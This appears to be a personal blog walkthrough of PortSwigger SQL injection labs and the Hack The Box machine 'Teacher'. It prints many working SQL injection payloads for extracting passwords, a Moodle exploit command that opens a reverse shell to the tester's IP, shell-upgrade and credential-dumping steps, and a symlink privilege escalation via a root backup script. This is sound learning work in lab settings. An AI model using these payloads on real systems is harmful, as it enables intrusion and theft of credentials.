PortSwigger – SQL Injection

So, I got told about this recently. This is a lab created by PortSwigger, the creators of Burp Suite and it goes through a set of challenges, which not only give you a safe lab to test web app skills in, it is also a walk-through with handy hints and explanations. I’m hoping it will really step up my knowledge for basic web app testing.

The website for this is: https://portswigger.net/web-security

SQL Injection

We all know the basic idea of SQL injection. Inject some code into a website to get data from the underlying database which we shouldn’t really be able to get.

So lets take a look at the first challenge

Abusing the WHERE clause

The aim here is to show all unreleased products.

We first refine the search so we see the URL which ends in:


The fact there is the page? would indicate this is ripe for SQL injection. Lets load up Burp and put the request through to there.

Burp shows a GET request for: GET /page?category=Accessories HTTP/1.1

If we change the category to “all” we get a JSON error.

The guide that we read, looks at adding items to the end of the URL, so if we did something like category=Accessories’– it would form the SQL query:

SELECT * FROM products WHERE category = 'Accessories'--' AND released = 1

So we need to change this, so it will be released will = 0 or 1.

To do this, we need to add in the OR statement: ‘+OR+1=1–

(The — is a comment indicator in SQL so removes the remainder of the query)

The thing here, is OR 1=1 will always equal 1 and 1=1 is always true, so it will return all items.

So in our lab we do:


We see a bunch of extra items on the list and challenge is solved!

Subverting Application Logic

If a login process does a SQL look up from the users table for the username you entered AND the password you entered, it returns the results and login is successful otherwise it’s rejected. Makes sense.

So the idea is, we can stop the query looking up the password? Making us log in via username only.

This time it’s a POST request with:


So if we add ‘– after Administrator it comments out the rest of the query. This then lets us log in!

Retrieving Data from other database tables

Using UNION we can look at other tables in the database, for example where there is a list of products, we could use:

' UNION SELECT username, password FROM users--

This would print out all the products and all username and passwords from the users table.

To run a union attack you need to identify 2 criteria:

  • the individual queries must return the same number of columns; and
  • the data types in each column must be compatible between the individual queries.

So to determine the number of columns, there are a few methods.

The first is to add in ORDER BY and increase the number until an error occurs.

' ORDER BY 1--

' ORDER BY 2--


The second method involves submitting a series of UNION SELECT payloads using a different amount of null values:


So in our lab environment. Let’s see what we can do. Let’s use the category of Pets. The URL is:



 ' ORDER BY 1--

Works, we keep increasing until 4 where we get an “internal server error” So we know that the search results with 3 columns. So any Union we do, must have 3 columns.

We can see the different too, Order by 1:

Then order by 2 shows the data in a different order:

So 2 looks to do it in alphabetical order by the product number.

Order by 3 then does it by price with the cheapest first.

If we try the other method, we get errors until we hit the right number:

page?category=Pets' UNION SELECT NULL,NULL,NULL--

If we had more of less “nulls” we just get a 500 internal server error.

Identifying columns with a useful data type for UNION attack

So there is no point doing a UNION attack unless there is useful data types in it, so we really need string data.

So first in the new lab, we again need to find out how many columns we are using. It is again 3. So now we can look at our code, we need to add in:


So trying all 3 iterations, we get errors on 2 of them. However having NULL,’a’,NULL– gives us a result. Which can be seen as this:

The a at the bottom is what we added. This shows that column 2 (Item description) can take string data. The lab requires us to use 5y03Jl so we change our ‘a’ to that, with a query of:

/page?category=Gifts' UNION SELECT NULL,'5y03Jl',null--

Retrieving Interesting Data

So, now that we know there are 3 columns and the 2nd has strings. We can look at getting some interesting data out.

Back into the lab, there is a table called users with columns username and password. We need to try and get the information for the administrator user.

First lets re-do our 2 tests above to make sure things are the same:

Columns returned = 2

Columns that have strings = Column 1 & 2

So we now can now try a Union for the extra tables data:

/page?category=Pets ' UNION SELECT username, password FROM users--

This then returns with 3 usernames and passwords:

I guess this means we can now properly log in as administrator.

First lets try that bypass we used earlier, does that still work? This time it doesn’t work. So lets log in using the password (58aua4)!

Log in successful!

Retrieving values in a single column

So sometimes a query will only bring back a single column. Then what? I guess you could do 2 sql queries. 1 for username and 1 for password. But that’s not ideal, what if they aren’t ordered the same?

Better to bring them both back together. so we need to concatenate the data, using a symbol to separate the data out.

Into the lab, lets first check there is only 1 column being bought back.


So there are 2 columns but we can’t visibly see the second, so that’s of no use to us!

We want to bring 2 items back in the first column. Looking at the cheatsheet there are different strings to use to concatenate:


So let’s try these out. Might as well start at the top:

/page?category=Pets ' UNION SELECT username || password FROM users--

Internal Server Error

/page?category=Pets ' UNION SELECT username + password FROM users--

Internal Server Error

/page?category=Pets ' UNION SELECT username || password FROM users--

Internal Server Error

/page?category=Pets ' UNION SELECT username password FROM users--

Internal Server Error

Shit! Double checking it says the database is users and the columns are username and password. What we didn’t do, was check which of the 2 columns could take string data. We know there are 2 columns. Let’s retry that!

Ok, so the 2nd column is the one that can take the data! That would explain it!

Let’s try again with the tweak:

/page?category=Pets ' UNION SELECT NULL,username || password from users--

This gives us the data, but it’s not got any sort of seperation in it. Lets add in a special character

/page?category=Pets ' UNION SELECT NULL,username || '~' || password from users--

(Not it has to be ‘ symbol. Attempting with nothing or with ” will cause server errors. Making you think it’s fucked, but just a really easy mistake to make!)

The results are in!

Logging in works a charm! Another lab understood!

Learning about the database – Version & Type

Using our new found UNION approach, we can find out the version, which can be super useful to see the patch level and then therefore any known vulnerability!

The labs have different types of database, starting off with Oracle.

As per usual, we find out how many columns are coming back and which contains strings.


We have 2 columns, however our ‘a’,NULL test comes back with internal server errors for both ways round. Let’s carry on and just try out payload in both positions, one might work.

So to start with, we look at column 1.

Using the cheatsheet we get shown that for Oracle the injection is: SELECT banner FROM v$version, resulting in:

\page?category=Accessories' UNION SELECT banner, NULL FROM v$version--

So we know column 1 could take strings, not sure why this didn’t work previously, maybe because it was an oracle database?

The output was a bit messy with the key version info all over the place, so adding a ORDER BY 2 helped sort it out, showing the database results:

Let’s now try for mysql & Microsoft!

Again, always start with how many columns are being returned. Ok this time, order by 1– comes back with an internal server error. Interesting!

As is the UNION SELECT NULL, NULL– test. (well at least up to 5). Looking at the cheat sheet, mysql uses either # or — as the comment command. Let’s try a # instead!

We get a reply from the page with zzzzz bed as the top item:

/page?category=Accessories# ORDER BY 1–

Trying order by 2. Hmm, nothing has changed! Order by 99, same result. Something’s not right here!

Information Schema – Non-Oracle

Most databases have a information schema which can be abused to show information about the database. This can include all tables etc

Into the lab, we need to find a table that might have usernames and passwords in. Then get administrators password.

As always, lets start by seeing how many columns are bought back. This time it is 2.

It’s both column which contain strings. So let’s see if we can select from the information schema.

/page?category=Accessories' UNION SELECT * FROM NULL,information_schema.tables--

This was my first guess and was no good. Taking out the UNION also didn’t work. This could be because of the wildcard flag. What if we just try tables.

We have put our NULL in the wrong place also. Remember we need to bring back 2 items if there are 2 columns. So what then works is:

/page?category=Accessories' UNION SELECT table_name,NULL FROM information_schema.tables--

There are a heap of tables, first we can try pg_user, we need to find out that column names first. So lets think of the logic first.

We want to SELECT column_names & NULL for our 2 criteria. FROM the information_schema.columns WHERE table_name = pg_user

so that works out to be:

/page?category=Accessories' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'pg_user'--

Ok, we got some columns:

So, shall we try reading usename & passwd from this:

/page?category=Accessories' UNION SELECT usename, passwd FROM pg_user--

This brings back “postgres” and a bunch of stars. Ok wrong table I think, also leads us to assume that anything with pg_ prefix is regarding postgres.  Let’s try another!

Looking through the list, users_nplzvf looks pretty hot. Let’s try that one, ok we have 2 columns come back, username_akhhon &  password_owtxsw. Random enough to have not got them by just guessing. Giving it a go!

Oooh, we get some usernames and password back using:

/page?category=Accessories’ UNION SELECT username_akhhon,password_owtxsw FROM users_nplzvf–

Lets try this admin password:

Boom! Logged in successfully!

Information Schema – Oracle

As oracle like to be difficult. They instead of “all_tables” & “all_tab_columns” which can be queried.
Let’s do the same thing but for an Oracle database.

Starting at the beginning, we have 2 columns that come back. Again I’m not sure which can accept strings as the ” ‘ UNION SELECT NULL,’a’–” test doesn’t appear to work. Let’s guess both.

We use the table_name column from all_tables to get the results, I also checked that both columns take strings, by switching round the NULL value:

/page?category=Lifestyle' UNION SELECT NULL,table_name FROM all_tables--

Again, we have quite a list, so doing a search for users gives us some options. The best looks to be USERS_XGCQLC (it follows the pattern, which we obviously wouldn’t have in the real world tests)

Running our column query to SELECT column_name FROM “all_tab_columns” WHERE table_name = USERS_XGCQLC. Again we have a bit of an issue with single quotes, but our final URL is:

/page?category=Lifestyle' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_XGCQLC' ORDER BY 2--

This brings back USERNAME_YKFNHX & PASSWORD_HQEGGI. Let’s go get them!

We again do the now getting more straightforward requests for the columns:


We get 3 results:


Using the administrator password. We manage to log into the lab! Success!

Blind SQL Injection

Blind SQL injection is more complicated as the application does not return the results of the SQL query or any details of the database errors. This makes it much harder to find if SQL injection is possible or in fact the right route to be going down.

Depending on the vulnerability and database there are a few techniques which can be used to exploit blind SQL injections:

  • Changing the logic of the query to trigger a detectable difference in the response. This could involve injecting a new condition into some Boolean logic, or triggering an error
  • Triggering a time delay in the processing of a query. So depending how quickly the result comes back can give hints.
  • Performing a out-of-band network interaction using OAST (out-of-band application security testing) techniques

Triggering Conditional Responses

So, if we have an application that uses tracking cookies to gather analytics, requests to the application would include a cookie header. When this request is being made it will check if its a known user with something like:

SELECT TrackingID FROM TrackedUsers WHERE TrackingID = 'cookie'

This is the part that is vulnerable to an SQL injection even though the result is not returned to the user. However something else happens if the query is true, a “welcome back” page might appear. This would be our “in” to try out some blind SQL injection to grab some data.

So the logic behind this is, you have 2 requests. The first will return true, the second false:



The first will give a “win condition” of welcome back. The second won’t. This lets us determine the answer to any single injected command. If it’s true, we would get “welcome back” if it’s false we get nothing. So we can get data out one slow request at a time.

There is a good example in the guide for the lab, so rather than me copying it out. Let’s jump into the lab and see what we find!

The aim of this lab, is to log in as the administrator. First we need their password!

So first we take a look at the page. Right, there is a welcome back! message. I was hoping their wouldn’t be, until we did a successful query!

So, first thing. Let’s intercept this in Burp and see what we get.

We have a TrackingID!

So the injection is within that TrackingID. So lets alter that cookie. What we are doing here, is removing the cookie (as that would default to “welcome back!”) and adding in an abituary value (that would result in false) in our case an “x”. Then we are doing our SQL injection with an OR statement to include something that would be true and then false. This shows us the results of the SQL query only (if you leave the cookie in, you will always get a result of true)

So for our first request, you notice the TrackingID is changed and the result shows “Welcome Back!”:

And if we change that to be 1=2, which is false. We see that the Welcome Back message disappears!

Hopefully i’ve explained this, as it took me a fair while to get round my head where the test was and what it shows.

So, we now know that SQL injection is possible, great! Lets find that admin password! We have some hints, there is a table called users with columns called username and password.

Therefore, we are going to need to do something like the guide suggests:

UNION SELECT 'a' FROM users WHERE username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--

So this attempt is doing a Union which we have covered. From the table users, where the username is administrator. All straightforward so far. The substring is interesting here. What this does is selects a character from the field. So we are select the field of password, the start position of 1 and the length of 1. We are then seeing if this is greater than the letter ‘m’.

Depending on the result, will show us which half of the alphabet the first letter of the password is in.

For a test, I changed the final letter to an ‘a’. Then to less than a ‘z’ to check we were getting a result. For both tests, we didn’t get a Welcome Back! message, so our query isn’t right. If I hadn’t done those extra steps, I could have lost ages trying to hone it down to a specific letter!

So, lets go back a step and check that the Administrator user exists:

That user does not exist!

Remember that usernames are case sensitive…..

So now we have the user. Let’s re-try adding in the second half of the injection.

TrackingId=x' UNION SELECT 'a' FROM Users WHERE Username = 'administrator' and SUBSTRING(Password, 1, 1) > 'm'--

It works, a quick check of less than shows no result. So we know that the first letter is bigger than m.

The next logical place is around the t mark. It is not greater than t. After a couple more goes at narrowing it down, it is bigger than a Q but not bigger than R. So we have our first letter:


The same theory applies for the rest of the password. In the injection we just change:

SUBSTRING(Password, 1, 1)


SUBSTRING(Password, 2, 1)

This changes our starting position.

The problem we are facing, is, how long is this password? Is it 8 characters, 10 characters? We currently have no idea. Let’s see if we can find out! In SQL like the SUBSTRING there is a length option. Lets use that in a similar manner:

TrackingId=x' UNION SELECT 'a' FROM Users WHERE Username = 'administrator' and length(Password) > 1--


We keep increasing the number (checking that 99 gives us a reply of false) and finally at 6 we don’t get a reply. So we know we have a 6 letter password.

So let’s go back to our substring and keep going.

After a fair while, we get the password:


Let’s try and log in!

Shit! So something went wrong. Rather than going through this manually again, there must be a better route.

Burp has intruder as a tool. Let’s try that.

Intruder is a tool that can do brute-force to try and find the answer. From repeater, we sent the request over to intruder.

Under the positions tab, we want to clear the symbols, and add them back on to only the letter in our SQL injection:

Then under Payloads, we need to add in a wordlist. This will be added as a Simple List. So create a wordlist with the alphabet in and add it into burp.

We then need to tell Burp what it is looking for. So I guess we want it to continue while “Welcome Back!” is text on the page. So under the Options tab and go down to “Grep – Match”. Clear the existing list and add in Welcome Back!

So this will stop when there is the Welcome Back! message on the page. As we are going through the alphabet sequentially, this should tell us the first letter.

Click Start Attack. The results show that the first letter than didn’t include the text “Welcome Back!” was r (position 18).

So, we now go back to the Positions tab and change the SQL injection to be SUBSTRING(Password, 2, 1) and re-run the attack. In the second run, no letters have “Welcome Back!”, so the letter is not greater than a. Therefore I assume it must be a. The third request all contain the text apart from z.

After running through all the letters, we get the password:


This is the same as before. Let’s try the login box again. Still no good, checking typos and other generally sillyness.

So the password is not raazoo. We did have a couple of assumptions, especially with the a and z letters. Could they be numbers?

Let’s try that manually first:

Well that is very sneaky!

So let’s go back to Intruder, in our wordlist lets add numbers 0-9. And run the attack again for positions 2, 3 & 4.

Our first result for position 2 gives us better results.

This time, we get a password of:


Lets give it a go:

Success! That took a really long time, but using a tool to make life easier for you is an important lesson. As well as thinking outside the box. If the numbers didn’t work, we would have added all the symbols into our word list and tried again.

Conditional Responses by triggering SQL errors

If we had an example like above, but without the query returning any data we wouldn’t be used to use the previous method. This is where triggering SQL errors comes in. The idea behind this is to cause a database error if the condition is true, but not if it’s false. So if we get an error back from the database, we know our SQL injection query = true. To work this out, we can use queries such as:





With the false option, if 1 doesn’t equal 2 (a false statement) the query will go to Null and end, not reporting any sort of errors. However if the query is true (1=1) then it will try do the calculation 1/0 resulting in a divide-by-zero error. That error will then be shown so we know our query was true.

So using the same method as we did above (of getting each character 1 at a time), we just need to expand out our query to:

' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--

Let’s jump into the lab and take a look at this is action! Our aim is to get the password for the administrator user and log in.

So first, we turn on intercept in burp and try to log in.

First up we can do SQL injection queries to check a calculation 1=1, 1=2 is what we have used earlier. Let’s reuse that to try and work out what our success and failure criteria look like.

Using the queries above, let’s see what difference we have. There is a TrackingID cookie that I think we will be able to re-use for this lab.

So, let’s get a request and rebuild this up slowly. Firstly, we try the very basic

TrackingID = '

Oooh, we got an error:

HTTP/1.1 500 Internal Server Error 
Date: Tue, 07 May 2019 19:01:54 GMT 
Content-Type: application/json 
Content-Length: 23 
Connection: close 

"Internal Server Error"

So if we add another ‘ to close the statement, this brings the webpage back. So we know we can do SQL injection here. So, we now want to do a check with a true statement to do an impossible sum. Both 1=1 and 1=2 come back with SQL error, but both can’t be true, so something odd is going on here. What we have missed, is trying to do that calculation on a table, or using anything of the SQL database in the background. This means we need to allocate a table at the end, so:

 FROM users--

However we also need to add in somewhere to do our calculation, so we want to pretend to change a character so we add in:


I didn't figure this out myself and don't fully understand it. Feel free to leave an explanation in the comments!

Therefore our full SQL query is:


From here, we can build up the rest of the query. So we want to work out the length of the password again. So our calculation is no longer 1=1 or 1=2. We want to find out 2 different things:

Username = Administrator

Length of Password > 1

So to build this into the calculation, we just put that in, replacing our existing calculation.

(Username = 'administrator' and length(PASSWORD) >1)

This results in a full query of:

' UNION SELECT CASE WHEN (Username='administrator' and length(PASSWORD) >1) THEN to_char(1/0) ELSE NULL END FROM users--

The result we get from that is:

Error, so that must be true! Let’s try 100 just to see what happens and to check our injection (assuming our password length isn’t over 100)

So that brings back the page, so it’s false. Using this method, we find out that the password is 6 characters.

Now we need to re-test each letter in the same way as before. Let’s create the request and test it before we send it over to intruder.

So this time, rather than password length, we need to get the substring query we used previously, so our injection will look like:

' UNION SELECT CASE WHEN (Username='administrator' and SUBSTR(Password, 1, 1 > 'a') THEN to_char(1/0) ELSE NULL END FROM users--

We get an Internal Server Error from this. Trying with > ‘y’ the full page loads. So we know that our injection works.

Sending this over to intruder, under the Positions tab, we want to tag only the letter (a) under the TrackingId code. Under the payloads we can re-use the letters and numbers wordlist we created previously. Under options, we want to grep match “Blind SQL Injection with conditional errors”. This is the title of the page, as we know when it loads, the result is false.

Let’s start the attack.

Our first result is in:

So the first letter is w.

We do the process for the other 5 characters of the password by changing the position parmater in substr(password, 1, 1) to password, 2, 1 etc and get:


Let’s try entering these creds!

Success! We nailed this lab!

I have no doubt there is a better way to script it, rather than changing the password parameter each time, however at this level I’m just happy to get a win!

Exploiting Blind SQL by triggering time delays

When I first read about SQL injection a couple of years ago. I didn’t know anything about it and this is what I stumbled across and figured you had to do for each test. What this does, rather then bringing back the data in columns, or bringing back a different result or even creating an error it adds a time delay. So if the statement you push down is true there is a delay of say 10 seconds. So based on the loading times you know if you got the answer right.

What you’ll realise almost immediately, is that our Burp Intruders sessions have always been flagged on words returned in the response area. How we check for time delays, I do not know but I’m excited to find out!

Due to how the queries are processed, the delay will not only be on the SQL data but also on the HTTP response. The injection depends massively on the database being used.

For Microsoft SQL Server you can use a true statement to trigger the delay:

'; IF (1=1) WAITFOR DELAY '0:0:10'--

As 1=1 this triggers the waitfor delay, which we have set to 10 seconds here.

We can then use the same techniques we did earlier with getting the password, just slower, with more delays!

With all that, lets bounce into the lab.

Firstly, as always, we intercept the request and send it over to Repeaters (Ctrl+R & Ctrl+Shift+R)

We again have a tracking ID, so let’s try this in here.

Our Tracking ID is:

' ; IF (1=1) WAITFOR DELAY '0:0:10'--

Unfortunately, this and 1=2 have the same outcome, the webpage loads quickly.

Looking at the SQL Cheat Sheet, there are a few different things we can try, maybe it’s a PostgreSQL database, were we need SELECT pg_sleep(10)

That would make our code:

' ; IF (1=1) SELECT pg_sleep(10)--

Again, both results load quickly. Let’s see if its MySQL

' ; IF (1=1) SELECT sleep(10)--

Same result.

Looking at the cheat sheet closer, maybe we don’t need the query in it, we might just be able to concat nothing to our sleep command. So effectively saying, after nothing sleep for 10 seconds.

Let’s try these again with that in mind (the + is in the concat code for Microsoft SQL:

' + WAITFOR DELAY '0:0:10'--

No dice.

Maybe MySQL:

' || sleep(10)--

Another quick load. Maybe it’s postgreSQL:

' || pg_sleep(10)--

That’s the one! We get a 10 second delay, which worked as expected as the HTTP response waited 10 seconds before it was displayed on our screen.

The next lab requires us to find the password to the user administrator from the users table.

First, lets do the same as above and work out what type of database it is. I thought it made sense to try that same again and I struck lucky!

' || pg_sleep(10)--

This added a 10 second delay, beautiful! We now know that this is a PostgreSQL database.

Next up, we need to work out how to add some criteria in here to see if we can exfil some information!

Looking back at the cheat sheet, PostgreSQL shows:


So, can we try this with out 1=1 criteria.

' SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--

This appeared to work first time. I attempted again a second time but that time it loaded almost immediately.

After looking into this, and looking at the guide, we have missed the “;” symbol which denotes the start of the if statement. This also can’t be put in plain text and needs to be URL encoded which results in %3B so our query is:

' %3B SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--

We were so close! Now that we have this working, we can just change our query to work out the variables. So we need to find out if administrator exists in the users table.

' %3B SELECT CASE WHEN (Username = 'administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

This waits for 10 seconds, we test with a rubbish account, which comes back straight away. So we know that administrator exists as a user.

Now, we need to find the length of the password:

' %3B SELECT CASE WHEN (Username = 'administrator' AND length (Password) >1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

It is longer than 1 character, and shorter than 99.
After a quick check, the password is 6 characters!

So now, we need to get the password out again. As before, let’s try using the SUBSTRING.

' %3B SELECT CASE WHEN (Username = 'administrator' AND SUBSTRING(Password, 1, 1) > 'a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

We get a delay. It’s important to remember that the syntax changes depending on what SQL type is in the background, so don’t give up after just 1 go!

Now, let’s send this to intruder and see if we can do anything with time. We are going to set the intruder up the same as always, so the symbols around the letter a and the payload being the letters & numbers file we have.

Clicking start attack, we notice that this takes so much longer than the previous ones, as it is waiting that 10 seconds between each response from the server. However we don’t have anything to indicate time, so this is no good.

There are more options under the Columns button:

I’ve turned on Response Completed, which shows the time the request took to complete. From this, we can see if the query has to wait those 10 seconds or not.

We see the time jump from 10082 to 102. So our first letter is v.

We do the same for the other 5 letters (for the sake of speed we reduce the time to 3 seconds) and get a password of:


I also realised afterwards, if I changed my query to = rather than > only the correct response would have the delay, making this much much much quicker! (it also allows the letter ‘a’ and number ‘0’ to be properly represented)

Right, there we have the password, lets check it in the lab!

Absolute success! 🙂

Blind SQL injection using out-of-band (OAST) technique

This is where things get really complicated. So this is the case when the SQL query is carried out asynchronously. So the users requests and the SQL query are done under separate threads, so the query is done via the tracking cookie. This means that the application response doesn’t depend on the query. Therefore no errors/time-delays/results will be usable.

Instead, we have to trigger out of band network interactions to a system that we control. This can still be done conditionally and will allow data exfiltration within the network interaction, rather than the response from the server. The most effective network protocol is DNS, this is usually because it isn’t locked down on production networks for obvious reasons.

Portswigger sell Burp Collaborator which is used for this. This server allows custom implementations of network services allowing the detection of results within the network interactions.

For the lab, we can use burpcollaborator.net which is the server running Collaborator owned and posted by PortSwigger. So first up, we need to configure our local Burp to work with this collaborator server.

To do this, we go into Burp and the Burp menu. There then should be burp Collaborator client:

Ah, we need the pro version which is the paid for version. Luckily, I do have a copy of this for work, so I’ll come back to this…..



Hack The Box – Teacher

Quick Step by Step for Teacher:

A quick nmap shows that there is only 1 port open. Port 80.

We visit the site and it’s for a high school, clicking around doesn’t show too much. After running a dirb, we find a subdirectory of /moodle

Moodle is a place for teachers to put up slides, course info and quizzes for students. We need a log-in though, crap we don’t have one of those yet.

Dirb also showed a whole host of other stuff! So after a whole heap of searching through file, we find the images on the main page.

How odd, Image 5 can’t be shown. We download this image and take a look. Turns out we can cat the file

So that’s cool, just 1 character to find.

I created a file with all characters, letters, numbers & symbols. For the username, we can guess this will be Giovanni.

We capture the log in request, and send it to intruder.

Under the Positions header, I cleared all the symbols and added them only to the password string.

I loaded in my worklist as the payload.

Putting this through Burp Intruder it’s odd, everything comes back as a re-direct or a 200.

The 303’s come back with a length of 801 and the 200’s with a length of 27998.

However the final value being a # gives a 303 but with the length of 995. The direct goes to:

Look’s like we are in!

After a quick look around, and looking at google, we find that there is an moodle exploit called “Evil Teacher” this allows arbituary code to be uploaded as part of a formula for a maths question.

I grabbed the code from here: https://www.exploit-db.com/exploits/46551

There is a guide in the code and we do:

php MoodleExploit.php url= user=Giovanni pass=Th4C00lTheacha# ip= port=8001 course=1

The url is the log-in page of moodle, with the username and password. Then our IP and port for the reverse shell.

This didn’t work, so looking a bit closer, we had course=1. Looking at the burp requests for the alegbra course, this is course 2. A quick change:

php MoodleExploit.php url= user=Giovanni pass=Th4C00lTheacha# ip= port=8001 course=2

Hooray that time it executed without issue!

Ok, so we get a reverse shell. Looks to be in sh, so lets up that to bash.

python -c 'import pty;pty.spawn("/bin/bash")'

We then upgrade the shell to allow tab autocomplete:

Ctrl + z

stty raw -echo



So a quick whoami tells us we are logged in as “www-data”

The home directory has giovanni which we get a permission denied when trying to access.

Let’s take a look, we need to promote this shell up to giovanni (as a start).

When we got our reverse shell we were in /var/www/html/moodle/questions

What we might need, is a config file or something that will contain additional passwords. Lets take a look:

We have 3 files:

“config-dist.php.bak” “config.php” “config.php.save”

Let’s take a look and see what we can do! Ah excellent, in the first file, we have information about the database that was set up:

$CFG->dbtype = 'mariadb'; // 'pgsql', 'mariadb', 'mysqli', 'mssql', 'sqlsrv' or 'oci' 
$CFG->dblibrary = 'native'; // 'native' only at the moment 
$CFG->dbhost = 'localhost'; // eg 'localhost' or 'db.isp.com' or IP 
$CFG->dbname = 'moodle'; // database name, eg moodle 
$CFG->dbuser = 'root'; // your database username 
$CFG->dbpass = 'Welkom1!'; // your database password

So, lets dig into the database. Anything juicy there?

We know the details for the SQL server, so to get into here we use:

mysql -u root moodle -p

The -u flag is for the user, then the database name. Finally the -p is to indicate we want to use the password. Entering the password, then we are into the database.

So next step, lets see if there is a password in here, for the user giovanni.

So there are 5 databases here, that’s a lot:

MariaDB [moodle]> show databases; 
show databases; 
| Database | 
| information_schema | 
| moodle | 
| mysql | 
| performance_schema | 
| phpmyadmin | 

I also did a quick show tables; and in the moodle database there are 388 rows. This is way to much to manually enumerate. So I went to the brilliant netsec forum mattermost (https://mm.netsecfocus.com) and asked if anyone knew a good way to search for a column name “password” to try and reduce this down. (I did google before, but didn’t find too much).

An amazing user called “e-nigma” produced this bad boy:


This comes back with limited results which is great!

A quick look through the tables using:

SELECT * from moodle.mdl_user;

We find some hashes, running these through an online hash cracker we get the results:

admin:$2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 = unknown hash
giovanni:$2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO = unknown hash
giovannibak:7a860966115182402ed06375cf0a22af = expelled

So it looks as though giovanni’s password might be “expelled”. Let’s give that a go.

Boom! We are now in as giovanni!

Heading back to the user area, we cat user.txt and there is that magic hash!

Privilege Escalation

Now, onto root. Within the home folder, we also have a directory called “work”

There is a folder with answers to the algebra, not sure that’s of too much interest. There is however, a tmp folder, which contains 2 files:

The .tar.gz file looks to be very recent. I wonder if there is something creating that on a minute basis. Can we somehow add in the root flag here, or gain some sort of reverse shell.

Let’s get pspy onto the box and see what’s happening.

On our machine, we start a simple python HTTP server:

python -m SimpleHTTPServer 9004

Now on our reverse shell, lets create a new folder in /tmp with our name and download pspy and run it:


Allow the script to run (chmod +x pspy64s). We leave it running for a couple of minutes to try and find this job that is creating the backup of courses. It didn’t take long and we get:

So ideally, we want it to include the root flag in the .tar.gz file, so we can read it.

Let’s take a look as that backup script, can we edit this:

We can execute, we can read but we can’t write. Ok, let’s read and see what it says.

Ok pretty straightforward. So we need to include something in /home/giovanni/work for it to also backup. Something like the root flag!

The first thing to ask is can we create a file in the directory. We can:

Has this been backed up?

It has. So, now we need to work out how to get another file in there. My initial thought (after trying it on another box) was a symbolic link. Let’s give that a go (fingers crossed i’ve got the files the right way round):

ln -s /root/root.txt Yekki.txt

Copying that over to our tmp directory, we can then extract it all.
Extracing it, the file is there. Let’s take a read:


However, I feel the wildcard and tar process, is the vulnerability here. A quick google of previous boxes, finds Joker, which looks to do a similar thing.

So, we have had a look at creating a wildcard symbolic link. And using –checkpoints.

Neither of which I can explain, however the root flag just became readable by everyone, so I read it. I’m not sure if I did that, or someone else did that.

So, a box reset and lets try again!

Finding this blog here, looks like it might have the answers: https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

It even includes a part about using wildcards to change ownership of files. Exactly what happened previously, so lets give it a go.

giovanni@teacher:~$ chown -R giovanni:giovanni /root/*.txt

Unsurprisingly, we get a permission denied.

I feel the answer is somewhere in symbolic links and the tar backup file.


Post Retirement!

The box retired and I was baffled. I felt I was so close. It all made sense, I watched the ippsec video and he made it very easy.

So I set it all up locally on my kali box. Copied the script from the screenshots and created the folder structure as it was on the box (seems easier than buying VIP)

Therefore we had backup.sh, the root flag and the /work/courses & /work/tmp folder structure.

I re-ran what I did previously, with the same result. We get a permission denied on reading the file. When looking at the script in more detail, there is a key line I missed:

cd tmp/

This comes before:

chmod 777 * -R;

What this means, is with what I was doing before. My file was getting zipped into the tar.gz file, then that file was having it’s permissions changed but nothing inside of it was!

This resulted in permission denied.

If I instead, changed where my symbolic link was:

Re-running the script then changes the permissions of root.txt via the symbolic link that is in the tmp directory.

This then lets us cat /root/root.txt.

Success! (This might not be the accurate flag)

What we learnt, is it’s very important to really understand the script, follow each step and think about it. Putting my sym link in a different folder, would have saved me a fair bit of time!